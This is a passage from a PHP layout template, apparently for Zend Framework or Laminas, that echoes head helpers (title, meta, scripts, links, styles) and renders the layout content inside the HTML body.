        <?= $this->headTitle() ?>
        <?= $this->headMeta() ?>
        <?= $this->headScript() ?>
        <?= $this->headLink() ?>
        <?= $this->headStyle() ?>
      </head>
      <body>
        <?= $this->layout()->content ?>
      </body>
      </html>